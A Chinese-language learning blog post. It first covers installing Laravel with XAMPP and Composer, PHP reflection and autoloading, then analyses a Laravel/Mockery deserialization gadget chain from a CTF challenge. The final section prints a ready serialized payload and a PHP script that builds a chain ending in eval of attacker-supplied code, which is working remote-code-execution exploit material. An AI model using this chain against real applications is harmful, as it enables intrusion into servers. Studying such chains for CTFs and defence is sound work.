前段时间国赛打自闭了,框架一个接一个,菜鸡还没开始好好研究就已经要用了,学习一波,如有错误,烦请大佬斧正
安装
鉴于菜鸡安装还是踩了一点坑,所以记录一下 首先第一点,不要用一键安装包!!!千万不要用!!搭建过程虽然省事,但是启动以后一堆bug,菜鸡调试半天都没能解决完,最后还是弃坑,自己搭 再接下来就是自己先搭一个服务器环境,菜鸡是在window搭建的,所以就直接用了xampp去搭建,省事还快捷,下载安装就行了,这里注意一点,因为laravel大量使用php的新特性,所以下载xampp的时候最好使用最新版,以免出现不兼容的情况
composer
因为laravel框架需要用到composer进行管理,所以我们需要先下载安装,网址如下
1
https://docs.phpcomposer.com/00-intro.html
下载下来基本无脑next就行,中间找php解释器的时候如果安装程序不能自动找到就自己找一下给个路径,最后顺带选择同意让他将系统的环境变量配好,安装完成以后测试一下,在命令框输入composer
,如果出现下图,那就基本安装好了
laravel
安装好composer
,重启一下apache
,就可以开始安装laravel
了,这里安装还是很简单的 首先命令行进入xampp
下的htdocs
文件夹
然后运行
1
composer create-project laravel/laravel --prefer-dist
这个时候如果结果如下图而且htdocs目录下有个laravel文件夹,就基本能下载安装框架成功了 但是如果出下如下错误
1 2 3
[Composer\Downloader\TransportException] The "https://packagist.org/p/symfony/polyfill-ctype%24de39fcb04af7704e77b309de60f85b9a505bd04379afd8bbff7ada66e1478fb8.json" file could not be downloaded (HTTP/1.1 404 Not Found)
则需要先运行以下两句命令
1 2
composer clear-cache composer dump-autoload
然后再用composer去运行上面的创建项目语句,如果结果如上所说,就基本成功 最后再访问一下http://localhost/laravel/public/index.php
(具体路径根据自己的目录而定,出现下图的话,恭喜你,laravel
框架成功搭建
前置知识
反射
反射之前菜鸡也写过一篇博客,这里就直接贴代码不解释了,结合php开发手册估计基本都能理解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
<?php class test { public $name = "Ariel" ; private $nickname = "Xi4or0uji" ; protected $gender; private function get () { $this -> name = "Ariel" ; return $this ->name; } public function hello () { return " hello world" ; } } $obj = new ReflectionClass("test" ); $classname = $obj -> getName(); echo "classname: " .$classname."<br>" ;$methods = $properties = []; foreach ($obj -> getProperties() as $v){ $properties[$v -> getName()] = $v; } ksort($properties); foreach ($properties as $k => $v){ if ($v -> isPrivate()){ echo $v." is public" ."<br>" ; } if ($v -> isProtected()){ echo $v."is protected" ."<br>" ; } if ($v -> isPrivate()){ echo $v."is private" ."<br>" ; } } foreach ($obj -> getMethods() as $v){ $methods[$v -> getName()] = $v; } ksort($methods); foreach ($methods as $k => $v){ echo "function is " .$k."<br>" ; } $test = new test(); $ref = new ReflectionClass($test); $method = $ref -> getMethod("get" ); $method -> setAccessible(true ); print $method->invoke($test);$ref = new ReflectionClass('test' ); $instance = $ref -> newInstanceArgs(); $method = $ref->getMethod('get' ); $method -> setAccessible(true ); echo $method -> invoke($instance);
还有一个thinkphp的反射?菜鸡没实验成功,就贴链接吧
1
https://www.cnblogs.com/52php/p/5675237.html
自加载与命名空间
手动加载
这些基本都是直接贴代码+注释,不作详细的讲解2333
include
查找顺序:
1 2 3 4 5
include参数没路径: include_path执行的目录 -> 脚本文件所在的目录和当前工作目录 include参数有路径: include参数的目录 -> 脚本文件所在的目录和当前工作目录 如果找不到只发出warming
具体加载过程 class.php
1 2 3 4 5 6
<?php class Test { static public function get () { echo "hello" ; } }
load.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14
<?php echo "1" ."<br>" ;$ret = include "class.php" ; echo sprintf("include ret-value: %d, ret-type: %s <br>" , $ret, gettype($ret));Test::get(); echo "<br>" ."2" ."<br>" ;$ret1 = include "./class1.php" ; echo sprintf("include ret-value: %d, ret-type: %s <br>" , $ret1, gettype($ret1));echo "<br>" ."3" ."<br>" ;$ret2 = include "./class.php" ; echo sprintf("include ret-value: %d, ret-type: %s <br>" , $ret2, gettype($ret2));Test::get();
结果 结论
1 2 3
include成功返回1,失败返回false include失败只会返回warning,不会中断运行 include不能重复包含,会直接报错
include_once
1 2 3 4 5 6 7 8 9 10 11 12 13
echo "1" ."<br>" ;$ret = include_once "class.php" ; echo sprintf("include ret-value: %d, ret-type: %s <br>" , $ret, gettype($ret));Test::get(); echo "<br>" ."2" ."<br>" ;$ret1 = include_once "./class1.php" ; echo sprintf("include ret-value: %d, ret-type: %s <br>" , $ret1, gettype($ret1));echo "<br>" ."3" ."<br>" ;$ret2 = include_once "./class.php" ; echo sprintf("include ret-value: %d, ret-type: %s <br>" , $ret, gettype($ret));Test::get();
结果 结论
1 2
其实跟include差不多,成功包含返回1,但是可以重复加载,其实也不能算是重复加载,是直接用之前包含了的 文件不存在也只是报warming,不影响后面执行
require
不放代码和图片了,跟include差不多,成功包含返回1,但是重复包含会报错,包含不存在的文件也会报错
require_once
跟include_once差不多,成功包含返回1,可以重复包含,但包含不存在的文件会报错
__autoload
这里我们还是拿原来那个类,但是命名规范一点 test.php
1 2 3 4 5 6
<?php class Test { static public function get () { echo "hello" ; } }
load.php
1 2 3 4 5 6
function __autoload ($classname) { $filename = "./" .lcfirst($classname).".php" ; include_once ($filename); } Test::get();
这个方法会自动加载没包含进去的类,如果找不到就报错,最后运行直接就出hello了,但是菜鸡在官方文档看到这一句
1 2
Warning This feature has been DEPRECATED as of PHP 7.2.0. Relying on this feature is highly discouraged.
菜鸡的php环境是7.2.1,居然还能用(摊手
spl_autoload_register
官方文档对此函数解释如下
1 2
将函数注册到SPL __autoload函数队列中。如果该队列中的函数尚未激活,则激活它们。 如果在你的程序中已经实现了__autoload()函数,它必须显式注册到__autoload()队列中。
先贴个代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
class Test { static public function get () { echo "hello f1" ; } } class Ttt { static public function test () { echo "hello f2" ; } } $load1 = function ($classname) { echo "load1" ."<br>" ; $filename = "./" .lcfirst($classname).".php" ; include_once ($filename); }; $load2 = function ($classname) { echo "load2" ."<br>" ; $filename = "./" .lcfirst($classname).".class.php" ; include_once ($filename); }; spl_autoload_register($load1); spl_autoload_register($load2); Test::get(); Ttt::test();
先放个回显 菜鸡尝试了一波,具体流程是 spl队列里面放了两个函数,一个load1,一个load2,接下下面调用两个类的方法,队列首先出来一个load1的方法,去寻找有test.php文件,找到了就执行里面的get函数,接着就寻找ttt.php文件,找不到就结束当前的函数,接着队列弹出下一个函数load2,接着去执行当时没有执行的类,然后就寻找ttt.class.php文件并执行
命名空间
这个部分菜鸡还是直接贴代码&总结,8具体解释了
mockery组件反序列化分析
几天前ph牛在小密圈发了之前code breaking lumenserial
的官方exp,遂学习一波
1
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:9:"\00*\00events";O:25:"Illuminate\Bus\Dispatcher":1:{S:16:"\00*\00queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;S:4:"load";}}S:8:"\00*\00event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{S:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{S:9:"\00*\00config";O:35:"Mockery\Generator\MockConfiguration":1:{S:7:"\00*\00name";S:7:"abcdefg";}S:7:"\00*\00code";S:25:"<?php phpinfo(); exit; ?>";}}}
入口还是那个熟悉的配方,嗯,就是PendingBroadcasting
那个类 在Illuminate\Broadcasting\PendingBroadcasting.php
里面有个__destruct
函数,没错,又是这个函数…….
1 2 3 4 5
public function __destruct () { $this ->events->dispatch($this ->event); }
而这两个参数$this->event
和$this->events
,都是可以控制的,再找一下别的类有没有dispatch
这个方法,ph大师傅给了Illuminate\Bus\Dispatcher
里面的dispatch
方法
1 2 3 4 5 6 7 8
public function dispatch ($command) { if ($this ->queueResolver && $this ->commandShouldBeQueued($command)) { return $this ->dispatchToQueue($command); } return $this ->dispatchNow($command); }
先看前面的if
有两个条件,第一个是$this->queueResolver
,另一个则是$this->commandShouldBeQueued($command)
,而$this->queueResolver
这个参数是可控的,跟过去commandShouldBeQueued
方法看一下
1 2 3 4
protected function commandShouldBeQueued ($command) { return $command instanceof ShouldQueue; }
ShouldQueue
是一个接口,所以这个只要满足继承了这个接口就行了,这里ph牛用了Illuminate\Broadcasting\BroadcastEvent
这个类
1 2 3 4
class BroadcastEvent implements ShouldQueue { ...... }
所以这两个条件都是能满足的,再跟下去dispatchToQueue
函数看一下有什么
1 2 3 4 5 6 7
public function dispatchToQueue ($command) { $connection = $command->connection ?? null ; $queue = call_user_func($this ->queueResolver, $connection); ...... }
很愉快地看到了call_user_func
,包含两个参数,$this->queueResolver
就是上面的dispatch
的那个参数,而$connection
是由传参$command
决定的 再接着就是找个能调用的方法了,这里ph牛给了个Mockery\Loader\EvalLoader
类
1 2 3 4 5 6 7 8 9 10 11
class EvalLoader implements Loader { public function load (MockDefinition $definition) { if (class_exists($definition->getClassName(), false )) { return ; } eval ("?>" . $definition->getCode()); } }
这个类很简短,里面只有个load
方法,还有个eval
,所以接下来我们就是要想办法让class_exists($definition->getClassName(), false)
返回false,控制$definition->getCode()
这个值啦 先跟过去看getClassName
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
namespace Mockery \Generator ;class MockDefinition { protected $config; protected $code; public function getClassName () { return $this ->config->getName(); } public function getCode () { return $this ->code; } }
发现getClassName
调用的是getName
,继续跟过去,代码只放关键部分
1 2 3 4 5 6 7 8 9 10 11 12
namespace Mockery \Generator ;class MockConfiguration { protected $name; public function getName () { return $this ->name; } }
可以看到getName
会返回$name
,而这个参数是可控的,至此,我们已经可以成功控制class_exists($definition->getClassName(), false)
的返回值了 最后看一下$definition->getCode()
方法的返回值,上面贴的代码可以看到,返回的code
也是可控的,所以pop已经很清晰了
1 2 3 4
利用PendingBroadcast的__destruct方法调用Dispatcher的dispatch方法 利用BroadcastEvent满足$this->commandShouldBeQueued($command)这个条件,接着调用dispatchToQueue方法 利用dispatchToQueue方法去调用EvalLoader的load方法 控制MockDefinition和MockConfiguration的变量使load方法的if条件返回false,最后成功执行eval
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115
<?php namespace Illuminate \Broadcasting { class PendingBroadcast { protected $event ; protected $events; function __construct ($event, $events) { $this ->event = $event; $this ->events = $events; } } } namespace Illuminate \Bus { class Dispatcher { protected $queueResolver ; function __construct ($queueResolver) { $this ->queueResolver = $queueResolver; } } } namespace Illuminate \Broadcasting { class BroadcastEvent { protected $connection ; function __construct ($connection) { $this ->connection = $connection; } } } namespace Mockery \Loader { class EvalLoader { public function load (MockDefinition $definition ) { // if (class_exists ($definition ->getClassName (), false )) { // return ; } } } namespace Mockery \Generator { class MockDefinition { protected $config ; protected $code; function __construct ($config) { $this ->config = $config; $this ->code = "<?php phpinfo(); ?>" ; } } class MockConfiguration { protected $name; function __construct () { $this ->name = "abcd" ; } } } namespace { $EvalLoader = new Mockery \Loader \EvalLoader (); $queueResolver = [$EvalLoader,"load" ]; $MockConfiguration = new Mockery\Generator\MockConfiguration(); $MockDefinition = new Mockery\Generator\MockDefinition($MockConfiguration); $BroadcastEvent = new Illuminate\Broadcasting\BroadcastEvent($MockDefinition); $Dispatcher = new Illuminate\Bus\Dispatcher($queueResolver); $PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($BroadcastEvent, $Dispatcher); echo urlencode(serialize($PendingBroadcast)); }
参考
https://www.php.net/manual/zh/ https://segmentfault.com/a/1190000012203213 https://segmentfault.com/a/1190000004851664
评论